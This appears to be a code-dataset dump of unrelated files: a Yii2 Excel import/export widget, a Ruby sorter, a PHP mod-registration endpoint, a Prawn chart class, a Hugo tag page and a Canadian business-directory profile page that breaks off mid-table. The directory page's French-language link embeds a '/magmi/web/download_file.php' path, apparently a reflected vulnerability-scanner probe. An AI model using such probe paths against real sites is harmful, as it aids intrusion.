$fileName; } /** * Setting properties for excel file * @param PHPExcel $objectExcel * @param array $properties */ public function properties(&$objectExcel, $properties = []) { foreach ($properties as $key => $value) { $keyname = "set" . ucfirst($key); $objectExcel->getProperties()->{$keyname}($value); } } /** * saving the xls file to download or to path */ public function writeFile($sheet) { if (!isset($this->format)) $this->format = 'Xlsx'; $objectwriter = \PhpOffice\PhpSpreadsheet\IOFactory::createWriter($sheet, $this->format); $path = 'php://output'; if (isset($this->savePath) && $this->savePath != null) { $path = $this->savePath . '/' . $this->getFileName(); } $objectwriter->setOffice2003Compatibility($this->compatibilityOffice2003); $objectwriter->setPreCalculateFormulas($this->preCalculationFormula); $objectwriter->save($path); if ($path == 'php://output') exit(); return true; } /** * reading the xls file */ public function readFile($fileName) { if (!isset($this->format)) $this->format = \PhpOffice\PhpSpreadsheet\IOFactory::identify($fileName); $objectreader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($this->format); if ($this->format == "Csv") { $objectreader->setDelimiter($this->CSVDelimiter); $objectreader->setInputEncoding($this->CSVEncoding); } $objectPhpExcel = $objectreader->load($fileName); $sheetCount = $objectPhpExcel->getSheetCount(); $sheetDatas = []; if ($sheetCount > 1) { foreach ($objectPhpExcel->getSheetNames() as $sheetIndex => $sheetName) { if (isset($this->getOnlySheet) && $this->getOnlySheet != null) { if(!$objectPhpExcel->getSheetByName($this->getOnlySheet)) { return $sheetDatas; } $objectPhpExcel->setActiveSheetIndexByName($this->getOnlySheet); $indexed = $this->getOnlySheet; $sheetDatas[$indexed] = $objectPhpExcel->getActiveSheet()->toArray(null, true, true, true); if ($this->setFirstRecordAsKeys) { $sheetDatas[$indexed] = $this->executeArrayLabel($sheetDatas[$indexed]); } if (!empty($this->getOnlyRecordByIndex)) { $sheetDatas[$indexed] = $this->executeGetOnlyRecords($sheetDatas[$indexed], $this->getOnlyRecordByIndex); } if (!empty($this->leaveRecordByIndex)) { $sheetDatas[$indexed] = $this->executeLeaveRecords($sheetDatas[$indexed], $this->leaveRecordByIndex); } return $sheetDatas[$indexed]; } else { $objectPhpExcel->setActiveSheetIndexByName($sheetName); $indexed = $this->setIndexSheetByName==true ? $sheetName : $sheetIndex; $sheetDatas[$indexed] = $objectPhpExcel->getActiveSheet()->toArray(null, true, true, true); if ($this->setFirstRecordAsKeys) { $sheetDatas[$indexed] = $this->executeArrayLabel($sheetDatas[$indexed]); } if (!empty($this->getOnlyRecordByIndex) && isset($this->getOnlyRecordByIndex[$indexed]) && is_array($this->getOnlyRecordByIndex[$indexed])) { $sheetDatas = $this->executeGetOnlyRecords($sheetDatas, $this->getOnlyRecordByIndex[$indexed]); } if (!empty($this->leaveRecordByIndex) && isset($this->leaveRecordByIndex[$indexed]) && is_array($this->leaveRecordByIndex[$indexed])) { $sheetDatas[$indexed] = $this->executeLeaveRecords($sheetDatas[$indexed], $this->leaveRecordByIndex[$indexed]); } } } } else { $sheetDatas = $objectPhpExcel->getActiveSheet()->toArray(null, true, true, true); if ($this->setFirstRecordAsKeys) { $sheetDatas = $this->executeArrayLabel($sheetDatas); } if (!empty($this->getOnlyRecordByIndex)) { $sheetDatas = $this->executeGetOnlyRecords($sheetDatas, $this->getOnlyRecordByIndex); } if (!empty($this->leaveRecordByIndex)) { $sheetDatas = $this->executeLeaveRecords($sheetDatas, $this->leaveRecordByIndex); } } return $sheetDatas; } /** * (non-PHPdoc) * @see \yii\base\Widget::run() */ public function run() { if ($this->mode == 'export') { $sheet = new Spreadsheet(); if (!isset($this->models)) throw new InvalidConfigException('Config models must be set'); if (isset($this->properties)) { $this->properties($sheet, $this->properties); } if ($this->isMultipleSheet) { $index = 0; $worksheet = []; foreach ($this->models as $title => $models) { $sheet->createSheet($index); $sheet->getSheet($index)->setTitle($title); $worksheet[$index] = $sheet->getSheet($index); $columns = isset($this->columns[$title]) ? $this->columns[$title] : []; $headers = isset($this->headers[$title]) ? $this->headers[$title] : []; $this->executeColumns($worksheet[$index], $models, $this->populateColumns($columns), $headers); $index++; } } else { $worksheet = $sheet->getActiveSheet(); $this->executeColumns($worksheet, $this->models, isset($this->columns) ? $this->populateColumns($this->columns) : [], isset($this->headers) ? $this->headers : []); } if ($this->asAttachment) { $this->setHeaders(); } $this->writeFile($sheet); $sheet->disconnectWorksheets(); unset($sheet); } elseif ($this->mode == 'import') { if (is_array($this->fileName)) { $datas = []; foreach ($this->fileName as $key => $filename) { $datas[$key] = $this->readFile($filename); } return $datas; } else { return $this->readFile($this->fileName); } } } /** * Exporting data into an excel file. * * ~~~ * * \moonland\phpexcel\Excel::export([ * 'models' => $allModels, * 'columns' => ['column1','column2','column3'], * //without header working, because the header will be get label from attribute label. * 'header' => ['column1' => 'Header Column 1','column2' => 'Header Column 2', 'column3' => 'Header Column 3'], * ]); * * ~~~ * * New Feature for exporting data, you can use this if you familiar yii gridview. * That is same with gridview data column. * Columns in array mode valid params are 'attribute', 'header', 'format', 'value', and footer (TODO). * Columns in string mode valid layout are 'attribute:format:header:footer(TODO)'. * * ~~~ * * \moonland\phpexcel\Excel::export([ * 'models' => Post::find()->all(), * 'columns' => [ * 'author.name:text:Author Name', * [ * 'attribute' => 'content', * 'header' => 'Content Post', * 'format' => 'text', * 'value' => function($model) { * return ExampleClass::removeText('example', $model->content); * }, * ], * 'like_it:text:Reader like this content', * 'created_at:datetime', * [ * 'attribute' => 'updated_at', * 'format' => 'date', * ], * ], * 'headers' => [ * 'created_at' => 'Date Created Content', * ], * ]); * * ~~~ * * @param array $config * @return string */ public static function export($config=[]) { $config = ArrayHelper::merge(['mode' => 'export'], $config); return self::widget($config); } /** * Import file excel and return into an array. * * ~~~ * * $data = \moonland\phpexcel\Excel::import($fileName, ['setFirstRecordAsKeys' => true]); * * ~~~ * * @param string!array $fileName to load. * @param array $config is a more configuration. * @return string */ public static function import($fileName, $config=[]) { $config = ArrayHelper::merge(['mode' => 'import', 'fileName' => $fileName, 'asArray' => true], $config); return self::widget($config); } /** * @param array $config * @return string */ public static function widget($config = []) { if ((isset($config['mode']) and $config['mode'] == 'import') && !isset($config['asArray'])) { $config['asArray'] = true; } if (isset($config['asArray']) && $config['asArray']==true) { $config['class'] = get_called_class(); $widget = \Yii::createObject($config); return $widget->run(); } else { return parent::widget($config); } } }
moonlandsoft/yii2-phpexcel
Excel.php
PHP
mit
33,886
module Text class Sorter def self.sort(text_components) components = text_components.clone components = components.shuffle nil_priorities, components = components.partition {|c| c.priority.nil? } components = components.sort_by(&:priority_index) components = components.reverse components = components + nil_priorities end end end
roschaefer/story.board
app/lib/text/sorter.rb
Ruby
mit
379
<?php require_once('../../global_functions.php'); require_once('../../connections/parameters.php'); try { if (!isset($_SESSION)) { session_start(); } $s2_response = array(); $db = new dbWrapper_v3($hostname_gds_site, $username_gds_site, $password_gds_site, $database_gds_site, true); if (empty($db)) throw new Exception('No DB!'); $memcached = new Cache(NULL, NULL, $localDev); checkLogin_v2(); if (empty($_SESSION['user_id64'])) throw new Exception('Not logged in!'); //Check if logged in user is an admin $adminCheck = adminCheck($_SESSION['user_id64'], 'admin'); $steamIDmanipulator = new SteamID($_SESSION['user_id64']); $steamID32 = $steamIDmanipulator->getsteamID32(); $steamID64 = $steamIDmanipulator->getsteamID64(); if ( empty($_POST['mod_workshop_link']) || empty($_POST['mod_contact_address']) ) { throw new Exception('Missing or invalid required parameter(s)!'); } if (!filter_var($_POST['mod_contact_address'], FILTER_VALIDATE_EMAIL)) { throw new Exception('Invalid email address!'); } else { $db->q( 'INSERT INTO `gds_users_options` ( `user_id32`, `user_id64`, `user_email`, `sub_dev_news`, `date_updated`, `date_recorded` ) VALUES ( ?, ?, ?, 1, NULL, NULL ) ON DUPLICATE KEY UPDATE `user_email` = VALUES(`user_email`), `sub_dev_news` = VALUES(`sub_dev_news`);', 'sss', array( $steamID32, $steamID64, $_POST['mod_contact_address'] ) ); } $steamAPI = new steam_webapi($api_key1); if (!stristr($_POST['mod_workshop_link'], 'steamcommunity.com/sharedfiles/filedetails/?id=')) { throw new Exception('Bad workshop link'); } $modWork = htmlentities(rtrim(rtrim(cut_str($_POST['mod_workshop_link'], 'steamcommunity.com/sharedfiles/filedetails/?id='), '/'), '&searchtext=')); $mod_details = $steamAPI->GetPublishedFileDetails($modWork); if ($mod_details['response']['result'] != 1) { throw new Exception('Bad steam response. API probably down.'); } $modName = !empty($mod_details['response']['publishedfiledetails'][0]['title']) ? htmlentities($mod_details['response']['publishedfiledetails'][0]['title']) : 'UNKNOWN MOD NAME'; $modDesc = !empty($mod_details['response']['publishedfiledetails'][0]['description']) ? htmlentities($mod_details['response']['publishedfiledetails'][0]['description']) : 'UNKNOWN MOD DESCRIPTION'; $modOwner = !empty($mod_details['response']['publishedfiledetails'][0]['creator']) ? htmlentities($mod_details['response']['publishedfiledetails'][0]['creator']) : '-1'; $modApp = !empty($mod_details['response']['publishedfiledetails'][0]['consumer_app_id']) ? htmlentities($mod_details['response']['publishedfiledetails'][0]['consumer_app_id']) : '-1'; if ($_SESSION['user_id64'] != $modOwner && !$adminCheck) { throw new Exception('Insufficient privilege to add this mod. Login as the mod developer or contact admins via <strong><a class="boldGreenText" href="https://github.com/GetDotaStats/stat-collection/issues" target="_blank">issue tracker</a></strong>!'); } if ($modApp != 570) { throw new Exception('Mod is not for Dota2.'); } if (!empty($_POST['mod_steam_group']) && stristr($_POST['mod_steam_group'], 'steamcommunity.com/groups/')) { $modGroup = htmlentities(rtrim(cut_str($_POST['mod_steam_group'], 'groups/'), '/')); } else { $modGroup = NULL; } $insertSQL = $db->q( 'INSERT INTO `mod_list` (`steam_id64`, `mod_identifier`, `mod_name`, `mod_description`, `mod_workshop_link`, `mod_steam_group`) VALUES (?, ?, ?, ?, ?, ?);', 'ssssss', //STUPID x64 windows PHP is actually x86 array( $modOwner, md5($modName . time()), $modName, $modDesc, $modWork, $modGroup, ) ); if ($insertSQL) { $modID = $db->last_index(); $json_response['result'] = 'Success! Found mod and added to DB for approval as #' . $modID; $db->q( 'INSERT INTO `mod_list_owners` (`mod_id`, `steam_id64`) VALUES (?, ?);', 'is', //STUPID x64 windows PHP is actually x86 array( $modID, $modOwner, ) ); updateUserDetails($modOwner, $api_key2); $irc_message = new irc_message($webhook_gds_site_normal); $message = array( array( $irc_message->colour_generator('red'), '[ADMIN]', $irc_message->colour_generator(NULL), ), array( $irc_message->colour_generator('green'), '[MOD]', $irc_message->colour_generator(NULL), ), array( $irc_message->colour_generator('bold'), $irc_message->colour_generator('blue'), 'Pending approval:', $irc_message->colour_generator(NULL), $irc_message->colour_generator('bold'), ), array( $irc_message->colour_generator('orange'), '{' . $modID . '}', $irc_message->colour_generator(NULL), ), array($modName), array(' || http://getdotastats.com/#admin__mod_approve'), ); $message = $irc_message->combine_message($message); $irc_message->post_message($message, array('localDev' => $localDev)); } else { $json_response['error'] = 'Mod not added to database. Failed to add mod for approval.'; } } catch (Exception $e) { $json_response['error'] = 'Caught Exception: ' . $e->getMessage(); } finally { if (isset($memcached)) $memcached->close(); if (!isset($json_response)) $json_response = array('error' => 'Unknown exception'); } try { header('Content-Type: application/json'); echo utf8_encode(json_encode($json_response)); } catch (Exception $e) { unset($json_response); $json_response['error'] = 'Caught Exception: ' . $e->getMessage(); echo utf8_encode(json_encode($json_response)); }
GetDotaStats/site
site_files/s2/my/mod_request_ajax.php
PHP
mit
6,730
module Prawn module Charts class Bar < Base attr_accessor :ratio def initialize pdf, opts = {} super pdf, opts @ratio = opts[:ratio] || 0.75 end def plot_values return if series.nil? series.each_with_index do |bar,index| point_x = first_x_point index bar[:values].each do |h| fill_color bar[:color] fill do height = value_height(h[:value]) rectangle [point_x,height], bar_width, height end point_x += additional_points end end end def first_x_point index (bar_width * index) + (bar_space * (index + 1)) end def additional_points (bar_space + bar_width) * series.count end def x_points points = nil series.each_with_index do |bar,index| tmp = [] tmp << first_x_point(index) + (bar_width / 2) bar[:values].each do |h| tmp << tmp.last + additional_points end points ||= [0] * tmp.length tmp.each_with_index do |point, i| points[i] += point end end points.map do |point| (point / series.count).to_i end end def bar_width @bar_width ||= (bounds.width * ratio) / series_length.to_f end def bar_space @bar_space ||= (bounds.width * (1.0 - ratio)) / (series_length + 1).to_f end def series_length series.map { |v| v[:values].length }.max * series.count end def value_height val bounds.height * ((val - min_value) / series_height.to_f) end end end end
cajun/prawn-charts
lib/prawn/charts/bar.rb
Ruby
mit
1,724
<!DOCTYPE html> <html lang="zh-cn"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="twitter:card" content="summary" /> <meta name="twitter:creator" content="@韩雨"/> <meta name="twitter:title" content="sam的小窝"/> <meta name="twitter:description" content="学习 &amp;nbsp;&amp;bull;&amp;nbsp; 生活"/> <meta name="twitter:image" content="http://www.samrainhan.com/images/avatar.png" /> <meta name="author" content="韩雨"> <meta name="description" content="学习 &amp;nbsp;&amp;bull;&amp;nbsp; 生活"> <meta name="generator" content="Hugo 0.41" /> <title>Msbuild &middot; sam的小窝</title> <link rel="shortcut icon" href="http://www.samrainhan.com/images/favicon.ico"> <link rel="stylesheet" href="http://www.samrainhan.com/css/style.css"> <link rel="stylesheet" href="http://www.samrainhan.com/css/highlight.css"> <link rel="stylesheet" href="http://www.samrainhan.com/css/font-awesome.min.css"> <link href="http://www.samrainhan.com/index.xml" rel="alternate" type="application/rss+xml" title="sam的小窝" /> </head> <body> <nav class="main-nav"> <a href='http://www.samrainhan.com/'> <span class="arrow">←</span>Home</a> <a href='http://www.samrainhan.com/posts'>Archive</a> <a href='http://www.samrainhan.com/tags'>Tags</a> <a href='http://www.samrainhan.com/about'>About</a> <a class="cta" href="http://www.samrainhan.com/index.xml">Subscribe</a> </nav> <div class="profile"> <section id="wrapper"> <header id="header"> <a href='http://www.samrainhan.com/about'> <img id="avatar" class="2x" src="http://www.samrainhan.com/images/avatar.png"/> </a> <h1>sam的小窝</h1> <h2>学习 &amp; 生活</h2> </header> </section> </div> <section id="wrapper" class="home"> <div class="archive"> <h3>2015</h3> <ul> <div class="post-item"> <div class="post-time">Jul 1</div> <a href="http://www.samrainhan.com/posts/2015-07-01-contrast-of-different-parameters-on-msbuild/" class="post-link"> msbuild参数效果对比 </a> </div> </ul> </div> <footer id="footer"> <div id="social"> <a class="symbol" href=""> <i class="fa fa-facebook-square"></i> </a> <a class="symbol" href="https://github.com/samrain"> <i class="fa fa-github-square"></i> </a> <a class="symbol" href=""> <i class="fa fa-twitter-square"></i> </a> </div> <p class="small"> © Copyright 2018 <i class="fa fa-heart" aria-hidden="true"></i> 韩雨 </p> <p class="small"> Powered by <a href="http://www.gohugo.io/">Hugo</a> Theme By <a href="https://github.com/nodejh/hugo-theme-cactus-plus">nodejh</a> </p> </footer> </section> <div class="dd"> </div> <script src="http://www.samrainhan.com/js/jquery-3.3.1.min.js"></script> <script src="http://www.samrainhan.com/js/main.js"></script> <script src="http://www.samrainhan.com/js/highlight.min.js"></script> <script>hljs.initHighlightingOnLoad();</script> <script> var doNotTrack = false; if (!doNotTrack) { (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-37708730-1', 'auto'); ga('send', 'pageview'); } </script> </body> </html>
samrain/NewBlog
tags/msbuild/index.html
HTML
mit
3,796
<!DOCTYPE html> <!--[if lt IE 9]><html class="no-js lt-ie9" lang="en" dir="ltr"><![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en" dir="ltr"> <!--<![endif]--> <!-- Usage: /eic/site/ccc-rec.nsf/tpl-eng/template-1col.html?Open&id=3 (optional: ?Open&page=filename.html&id=x) --> <!-- Created: ; Product Code: 536; Server: stratnotes2.ic.gc.ca --> <head> <!-- Title begins / Début du titre --> <title> Industries Chic Inc. - Complete profile - Canadian Company Capabilities - Industries and Business - Industry Canada </title> <!-- Title ends / Fin du titre --> <!-- Meta-data begins / Début des métadonnées --> <meta charset="utf-8" /> <meta name="dcterms.language" title="ISO639-2" content="eng" /> <meta name="dcterms.title" content="" /> <meta name="description" content="" /> <meta name="dcterms.description" content="" /> <meta name="dcterms.type" content="report, data set" /> <meta name="dcterms.subject" content="businesses, industry" /> <meta name="dcterms.subject" content="businesses, industry" /> <meta name="dcterms.issued" title="W3CDTF" content="" /> <meta name="dcterms.modified" title="W3CDTF" content="" /> <meta name="keywords" content="" /> <meta name="dcterms.creator" content="" /> <meta name="author" content="" /> <meta name="dcterms.created" title="W3CDTF" content="" /> <meta name="dcterms.publisher" content="" /> <meta name="dcterms.audience" title="icaudience" content="" /> <meta name="dcterms.spatial" title="ISO3166-1" content="" /> <meta name="dcterms.spatial" title="gcgeonames" content="" /> <meta name="dcterms.format" content="HTML" /> <meta name="dcterms.identifier" title="ICsiteProduct" content="536" /> <!-- EPI-11240 --> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <!-- MCG-202 --> <meta content="width=device-width,initial-scale=1" name="viewport"> <!-- EPI-11567 --> <meta name = "format-detection" content = "telephone=no"> <!-- EPI-12603 --> <meta name="robots" content="noarchive"> <!-- EPI-11190 - Webtrends --> <script> var startTime = new Date(); startTime = startTime.getTime(); </script> <!--[if gte IE 9 | !IE ]><!--> <link href="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/assets/favicon.ico" rel="icon" type="image/x-icon"> <link rel="stylesheet" href="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/css/wet-boew.min.css"> <!--<![endif]--> <link rel="stylesheet" href="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/css/theme.min.css"> <!--[if lt IE 9]> <link href="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/assets/favicon.ico" rel="shortcut icon" /> <link rel="stylesheet" href="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/css/ie8-wet-boew.min.css" /> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/js/ie8-wet-boew.min.js"></script> <![endif]--> <!--[if lte IE 9]> <![endif]--> <noscript><link rel="stylesheet" href="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/css/noscript.min.css" /></noscript> <!-- Google Tag Manager DO NOT REMOVE OR MODIFY - NE PAS SUPPRIMER OU MODIFIER --> <script>dataLayer1 = [];</script> <!-- End Google Tag Manager --> <!-- EPI-11235 --> <link rel="stylesheet" href="/eic/home.nsf/css/add_WET_4-0_Canada_Apps.css"> <link href="//netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css" rel="stylesheet"> <link href="/app/ccc/srch/css/print.css" media="print" rel="stylesheet" type="text/css" /> </head> <body class="home" vocab="http://schema.org/" typeof="WebPage"> <!-- EPIC HEADER BEGIN --> <!-- Google Tag Manager DO NOT REMOVE OR MODIFY - NE PAS SUPPRIMER OU MODIFIER --> <noscript><iframe title="Google Tag Manager" src="//www.googletagmanager.com/ns.html?id=GTM-TLGQ9K" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript> <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer1'?'&l='+l:'';j.async=true;j.src='//www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer1','GTM-TLGQ9K');</script> <!-- End Google Tag Manager --> <!-- EPI-12801 --> <span typeof="Organization"><meta property="legalName" content="Department_of_Industry"></span> <ul id="wb-tphp"> <li class="wb-slc"> <a class="wb-sl" href="#wb-cont">Skip to main content</a> </li> <li class="wb-slc visible-sm visible-md visible-lg"> <a class="wb-sl" href="#wb-info">Skip to "About this site"</a> </li> </ul> <header role="banner"> <div id="wb-bnr" class="container"> <section id="wb-lng" class="visible-md visible-lg text-right"> <h2 class="wb-inv">Language selection</h2> <div class="row"> <div class="col-md-12"> <ul class="list-inline mrgn-bttm-0"> <li><a href="nvgt.do?V_TOKEN=1492293427443&V_SEARCH.docsCount=3&V_DOCUMENT.docRank=22941&V_SEARCH.docsStart=22940&V_SEARCH.command=navigate&V_SEARCH.resultsJSP=/prfl.do&lang=fra&redirectUrl=/app/scr/imbs/ccc/rgstrtn//magmi/web/download_file.php?_flId?_flxKy=e1s1&amp;estblmntNo=234567041301&amp;profileId=61&amp;_evId=bck&amp;lang=eng&amp;V_SEARCH.showStricts=false&amp;prtl=1&amp;_flId?_flId?_flxKy=e1s1" title="Français" lang="fr">Français</a></li> </ul> </div> </div> </section> <div class="row"> <div class="brand col-xs-8 col-sm-9 col-md-6"> <a href="http://www.canada.ca/en/index.html"><object type="image/svg+xml" tabindex="-1" data="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/assets/sig-blk-en.svg"></object><span class="wb-inv"> Government of Canada</span></a> </div> <section class="wb-mb-links col-xs-4 col-sm-3 visible-sm visible-xs" id="wb-glb-mn"> <h2>Search and menus</h2> <ul class="list-inline text-right chvrn"> <li><a href="#mb-pnl" title="Search and menus" aria-controls="mb-pnl" class="overlay-lnk" role="button"><span class="glyphicon glyphicon-search"><span class="glyphicon glyphicon-th-list"><span class="wb-inv">Search and menus</span></span></span></a></li> </ul> <div id="mb-pnl"></div> </section> <!-- Site Search Removed --> </div> </div> <nav role="navigation" id="wb-sm" class="wb-menu visible-md visible-lg" data-trgt="mb-pnl" data-ajax-fetch="//cdn.canada.ca/gcweb-cdn-dev/sitemenu/sitemenu-en.html" typeof="SiteNavigationElement"> <h2 class="wb-inv">Topics menu</h2> <div class="container nvbar"> <div class="row"> <ul class="list-inline menu"> <li><a href="https://www.canada.ca/en/services/jobs.html">Jobs</a></li> <li><a href="http://www.cic.gc.ca/english/index.asp">Immigration</a></li> <li><a href="https://travel.gc.ca/">Travel</a></li> <li><a href="https://www.canada.ca/en/services/business.html">Business</a></li> <li><a href="https://www.canada.ca/en/services/benefits.html">Benefits</a></li> <li><a href="http://healthycanadians.gc.ca/index-eng.php">Health</a></li> <li><a href="https://www.canada.ca/en/services/taxes.html">Taxes</a></li> <li><a href="https://www.canada.ca/en/services.html">More services</a></li> </ul> </div> </div> </nav> <!-- EPIC BODY BEGIN --> <nav role="navigation" id="wb-bc" class="" property="breadcrumb"> <h2 class="wb-inv">You are here:</h2> <div class="container"> <div class="row"> <ol class="breadcrumb"> <li><a href="/eic/site/icgc.nsf/eng/home" title="Home">Home</a></li> <li><a href="/eic/site/icgc.nsf/eng/h_07063.html" title="Industries and Business">Industries and Business</a></li> <li><a href="/eic/site/ccc-rec.nsf/tpl-eng/../eng/home" >Canadian Company Capabilities</a></li> </ol> </div> </div> </nav> </header> <main id="wb-cont" role="main" property="mainContentOfPage" class="container"> <!-- End Header --> <!-- Begin Body --> <!-- Begin Body Title --> <!-- End Body Title --> <!-- Begin Body Head --> <!-- End Body Head --> <!-- Begin Body Content --> <br> <!-- Complete Profile --> <!-- Company Information above tabbed area--> <input id="showMore" type="hidden" value='more'/> <input id="showLess" type="hidden" value='less'/> <h1 id="wb-cont"> Company profile - Canadian Company Capabilities </h1> <div class="profileInfo hidden-print"> <ul class="list-inline"> <li><a href="cccSrch.do?lang=eng&profileId=&prtl=1&key.hitsPerPage=25&searchPage=%252Fapp%252Fccc%252Fsrch%252FcccBscSrch.do%253Flang%253Deng%2526amp%253Bprtl%253D1%2526amp%253Btagid%253D&V_SEARCH.scopeCategory=CCC.Root&V_SEARCH.depth=1&V_SEARCH.showStricts=false&V_SEARCH.sortSpec=title+asc&amp;rstBtn.x=" class="btn btn-link">New Search</a>&nbsp;|</li> <li><form name="searchForm" method="post" action="/app/ccc/srch/bscSrch.do"> <input type="hidden" name="lang" value="eng" /> <input type="hidden" name="profileId" value="" /> <input type="hidden" name="prtl" value="1" /> <input type="hidden" name="searchPage" value="%2Fapp%2Fccc%2Fsrch%2FcccBscSrch.do%3Flang%3Deng%26amp%3Bprtl%3D1%26amp%3Btagid%3D" /> <input type="hidden" name="V_SEARCH.scopeCategory" value="CCC.Root" /> <input type="hidden" name="V_SEARCH.depth" value="1" /> <input type="hidden" name="V_SEARCH.showStricts" value="false" /> <input id="repeatSearchBtn" class="btn btn-link" type="submit" value="Return to search results" /> </form></li> <li>|&nbsp;<a href="nvgt.do?V_SEARCH.docsStart=22939&amp;V_DOCUMENT.docRank=22940&amp;V_SEARCH.docsCount=3&amp;lang=eng&amp;prtl=1&amp;sbPrtl=&amp;profile=cmpltPrfl&amp;V_TOKEN=1492293448527&amp;V_SEARCH.command=navigate&amp;V_SEARCH.resultsJSP=%2fprfl.do&amp;estblmntNo=123456009329&amp;profileId=&amp;key.newSearchLabel=">Previous Company</a></li> <li>|&nbsp;<a href="nvgt.do?V_SEARCH.docsStart=22941&amp;V_DOCUMENT.docRank=22942&amp;V_SEARCH.docsCount=3&amp;lang=eng&amp;prtl=1&amp;sbPrtl=&amp;profile=cmpltPrfl&amp;V_TOKEN=1492293448527&amp;V_SEARCH.command=navigate&amp;V_SEARCH.resultsJSP=%2fprfl.do&amp;estblmntNo=234567032347&amp;profileId=&amp;key.newSearchLabel=">Next Company</a></li> </ul> </div> <details> <summary>Third-Party Information Liability Disclaimer</summary> <p>Some of the information on this Web page has been provided by external sources. The Government of Canada is not responsible for the accuracy, reliability or currency of the information supplied by external sources. Users wishing to rely upon this information should consult directly with the source of the information. Content provided by external sources is not subject to official languages, privacy and accessibility requirements.</p> </details> <h2> Industries Chic Inc. </h2> <div class="row"> <div class="col-md-5"> <h2 class="h5 mrgn-bttm-0">Legal/Operating Name:</h2> <p>Industries Chic Inc.</p> <div class="mrgn-tp-md"></div> <p class="mrgn-bttm-0" ><a href="http://www.industrieschic.net" target="_blank" title="Website URL">http://www.industrieschic.net</a></p> <p><a href="mailto:[email protected]" title="[email protected]">[email protected]</a></p> </div> <div class="col-md-4 mrgn-sm-sm"> <h2 class="h5 mrgn-bttm-0">Mailing Address:</h2> <address class="mrgn-bttm-md"> 3214, route 170<br/> LATERRIÈRE, Quebec<br/> G7N 1A9 <br/> </address> <h2 class="h5 mrgn-bttm-0">Location Address:</h2> <address class="mrgn-bttm-md"> 3214, route 170<br/> LATERRIÈRE, Quebec<br/> G7N 1A9 <br/> </address> <p class="mrgn-bttm-0"><abbr title="Telephone">Tel.</abbr>: (418) 549-5027 </p> <p class="mrgn-bttm-lg"><abbr title="Facsimile">Fax</abbr>: (418) 678-2248</p> </div> <div class="col-md-3 mrgn-tp-md"> </div> </div> <div class="row mrgn-tp-md mrgn-bttm-md"> <div class="col-md-12"> </div> </div> <!-- <div class="wb-tabs ignore-session update-hash wb-eqht-off print-active"> --> <div class="wb-tabs ignore-session"> <div class="tabpanels"> <details id="details-panel1"> <summary> Full profile </summary> <!-- Tab 1 --> <h2 class="wb-invisible"> Full profile </h2> <!-- Contact Information --> <h3 class="page-header"> Contact information </h3> <section class="container-fluid"> <div class="row mrgn-tp-lg"> <div class="col-md-3"> <strong> DENIS LAROUCHE </strong></div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Title: </strong> </div> <div class="col-md-7"> <!--if client gender is not null or empty we use gender based job title--> Director </div> </div> </section> <p class="mrgn-tp-lg text-right small hidden-print"> <a href="#wb-cont">top of page</a> </p> <!-- Company Description --> <h3 class="page-header"> Company description </h3> <section class="container-fluid"> <div class="row"> <div class="col-md-5"> <strong> Country of Ownership: </strong> </div> <div class="col-md-7"> Canada &nbsp; </div> </div> <div class="row"> <div class="col-md-5"> <strong> Exporting: </strong> </div> <div class="col-md-7"> No &nbsp; </div> </div> <div class="row"> <div class="col-md-5"> <strong> Primary Industry (NAICS): </strong> </div> <div class="col-md-7"> 332710 - Machine Shops </div> </div> <div class="row"> <div class="col-md-5"> <strong> Primary Business Activity: </strong> </div> <div class="col-md-7"> Manufacturer / Processor / Producer &nbsp; </div> </div> </section> <!-- Products / Services / Licensing --> <h3 class="page-header"> Product / Service / Licensing </h3> <section class="container-fluid"> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> USINAGE <br> </div> </div> </section> <p class="mrgn-tp-lg text-right small hidden-print"> <a href="#wb-cont">top of page</a> </p> <!-- Technology Profile --> <!-- Market Profile --> <!-- Sector Information --> <details class="mrgn-tp-md mrgn-bttm-md"> <summary> Third-Party Information Liability Disclaimer </summary> <p> Some of the information on this Web page has been provided by external sources. The Government of Canada is not responsible for the accuracy, reliability or currency of the information supplied by external sources. Users wishing to rely upon this information should consult directly with the source of the information. Content provided by external sources is not subject to official languages, privacy and accessibility requirements. </p> </details> </details> <details id="details-panel2"> <summary> Contacts </summary> <h2 class="wb-invisible"> Contact information </h2> <!-- Contact Information --> <section class="container-fluid"> <div class="row mrgn-tp-lg"> <div class="col-md-3"> <strong> DENIS LAROUCHE </strong></div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Title: </strong> </div> <div class="col-md-7"> <!--if client gender is not null or empty we use gender based job title--> Director </div> </div> </section> </details> <details id="details-panel3"> <summary> Description </summary> <h2 class="wb-invisible"> Company description </h2> <section class="container-fluid"> <div class="row"> <div class="col-md-5"> <strong> Country of Ownership: </strong> </div> <div class="col-md-7"> Canada &nbsp; </div> </div> <div class="row"> <div class="col-md-5"> <strong> Exporting: </strong> </div> <div class="col-md-7"> No &nbsp; </div> </div> <div class="row"> <div class="col-md-5"> <strong> Primary Industry (NAICS): </strong> </div> <div 